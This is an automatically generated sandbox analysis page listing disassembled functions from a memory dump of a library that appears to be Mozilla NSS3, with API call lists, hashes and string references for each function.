Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction ID: 45ba7cc42a50ff9c94cf7c6d53c32ccfcab0a193aba7bc86265c7a4583acb825
Opcode Fuzzy Hash: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction Fuzzy Hash: F011E57170011167EB101BAFAD04A6672ACEB827ADF540535FC84C6E40F752CD4583AE

Function 6C67CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C691E10: TlsGetValue.KERNEL32 ref: 6C691E36
Part of subcall function 6C691E10: EnterCriticalSection.KERNEL32(?,?,?,6C66B1EE,2404110F,?,?), ref: 6C691E4B
Part of subcall function 6C691E10: PR_Unlock.NSS3 ref: 6C691E76

free.MOZGLUE(?,6C67D079,00000000,00000001), ref: 6C67CDA5
PK11_FreeSymKey.NSS3(?,6C67D079,00000000,00000001), ref: 6C67CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C67D079,00000000,00000001), ref: 6C67CDCF
DeleteCriticalSection.KERNEL32(?,6C67D079,00000000,00000001), ref: 6C67CDE2
free.MOZGLUE(?), ref: 6C67CDE9

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction ID: 8d795a9908144ea95030c7d7df076d2ee5efd470979185aa1a520f237f7481b2
Opcode Fuzzy Hash: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction Fuzzy Hash: 0211A3B2B01115BBDF10AFA5ED45A9A77BCBB043597104531F90A87E01E732E424C7E5

Function 6C6B3D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6B38A2), ref: 6C6B3DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6B38A2), ref: 6C6B3DBF

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DF8

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: bf1f8cd894cb4146a1c64655915f4fbff7ba1a7066e0e0c857eb66bf960b27da
Instruction ID: 129c18116346e87937ad7dc8c3356e35a78a46293e027ba5b0a58eb03d63ac8a
Opcode Fuzzy Hash: bf1f8cd894cb4146a1c64655915f4fbff7ba1a7066e0e0c857eb66bf960b27da
Instruction Fuzzy Hash: 5C01DBB57051113BFB1055B56C46E7F3DACDB417A9B140236FD15EA580ED62CC2182F5

Function 6C6E2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2CEC

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2D02
PR_EnterMonitor.NSS3(?), ref: 6C6E2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6E2D42
PR_ExitMonitor.NSS3(?), ref: 6C6E2D5B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 1318f6d3e3578dfac2ea355121da45e0d49ce3060982b1756f2fac1cc2e6c162
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9A01C8B19192015FE7309F26FC48BC7B7E2EF59318F044526E95D87B10E632F8168796

Function 6C6E2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2D9C

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6E2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6E2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6E2E0B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8cd1fd0e9f7aa794f7f02872431bdcf938dcf16bc214214ea6d5fc4e4a5f400c
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 9601C8B19092015FE7309F25FC09BC7B7A2EF55318F040536E95D87B10D632F81A8696

Function 6C67AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?), ref: 6C67AEA3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction ID: b0f0a6d6507ce0822123b77666430595a45d13287f37c90f980e570015f0b0e7
Opcode Fuzzy Hash: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction Fuzzy Hash: 3801D163B0401057E721916CAC81AEB31A98B8765CB081832E905D7B03F612DD0A53BF

Function 6C76BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDC3
free.MOZGLUE(?,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDE9
free.MOZGLUE(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE21
free.MOZGLUE(00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE32

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction ID: b6e7f34cc01f88f351e89264c6e337c8fbfc3b7859e664e9f1e51378a43c23b4
Opcode Fuzzy Hash: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction Fuzzy Hash: 2A1103B5B062009FDF40DFA9D94DF063BB9FB4B355B540479E90A8B710E732A414CBA9

Function 6C6B3E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6C6B3975), ref: 6C6B3E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6C6B3975), ref: 6C6B3E38

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6C6B3975), ref: 6C6B3E52
DeleteFileW.KERNEL32(00000000), ref: 6C6B3E5D
free.MOZGLUE(00000000), ref: 6C6B3E64

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 19a668bf1eed36efac3a2b5cc82cacff0ccf2311a67a425e8d12702b41e500e0
Instruction ID: bd025cd338d460d62adbbb563dcac076ea3d99de314fd746ac3f703887829b34
Opcode Fuzzy Hash: 19a668bf1eed36efac3a2b5cc82cacff0ccf2311a67a425e8d12702b41e500e0
Instruction Fuzzy Hash: 2CF0E9B13061023BFB1021B96C09E3B355CDB42ABAF140676BF29D55C1EE51CC2283B5

Function 6C767C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C767C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767C83
malloc.MOZGLUE(00000001), ref: 6C767C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C767C9F
PR_GetCurrentThread.NSS3 ref: 6C767CAD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction ID: 55013d471de04fbbf3c3cc5b27fd1429d8b156b3f47d55ddf02db3cde86ef1b8
Opcode Fuzzy Hash: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction Fuzzy Hash: A5F0A9B19202066BEB009F7BAE0D95B7B5CEF003A9B118436EC09C7F00EB31E1148AE5

Function 6C76ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE0D
free.MOZGLUE(?), ref: 6C76AE14
DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE36
free.MOZGLUE(?), ref: 6C76AE3D
free.MOZGLUE(00000000,00000000,?,?,6C76A6D8), ref: 6C76AE47

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction ID: 983031f6d4509241d45d1f960aa9bd84e9e3b11a0944075347a97426d1cb2ee9
Opcode Fuzzy Hash: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction Fuzzy Hash: FAF06275201A01A7CB109FE9A909A5BB7BCBE86776B14033DF52A83940D733E115C7D5

Function 6C5EBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C5EBE37

Strings

winFileSize, xrefs: 6C5EBF07
Pvl, xrefs: 6C5EBED4
vl, xrefs: 6C5EBDD7

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: vl$Pvl$winFileSize
API String ID: 4246442610-3168198568
Opcode ID: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction ID: 4303061a4f6f9530fd95a8c6fae09a8e2390a215f0e5ae3d3284b0bfec010f18
Opcode Fuzzy Hash: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction Fuzzy Hash: 7B61DF31A00709EFCB04DF68CA90BA9B7B2FF4E315B148AA5D8158BB40D730E915CBD9

Function 6C5F7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7D13, 6C5F7D1F, 6C5F7D47, 6C5F7D53, 6C5F7D5F
%s at line %d of [%.10s], xrefs: 6C5F7D2E
database corruption, xrefs: 6C5F7D29

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction ID: 9692598d2856882204f7f34f80f52ace2fd9cb4a47b7b98f9c376a209d15bcad
Opcode Fuzzy Hash: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction Fuzzy Hash: 11312431E0422997C714CF9ECC809BEB7F2AF88349B9905A6E454B7B81D270D942CBB4

Function 6C5E6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5E6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E6D20
%s at line %d of [%.10s], xrefs: 6C5E6D2F
database corruption, xrefs: 6C5E6D2A

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction ID: 01f5a6f30449fb530ca37fed9af45b4eb1f5c6752c8e452fea636bfcae6c1a73
Opcode Fuzzy Hash: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction Fuzzy Hash: 392102306003089BC710CE19DE41B5AB7F2AF89358F944928D9499BF51EB70F9448792

Function 6C6C2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+ll,6C6C32C2,<+ll,00000000,00000000,?), ref: 6C6C2FDA

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C6C300B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C6C302A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

Part of subcall function 6C69C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C69C45D
Part of subcall function 6C69C3D0: TlsGetValue.KERNEL32 ref: 6C69C494
Part of subcall function 6C69C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C69C4A9
Part of subcall function 6C69C3D0: PR_Unlock.NSS3(?), ref: 6C69C4F4

Strings

<+ll, xrefs: 6C6C2FD0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

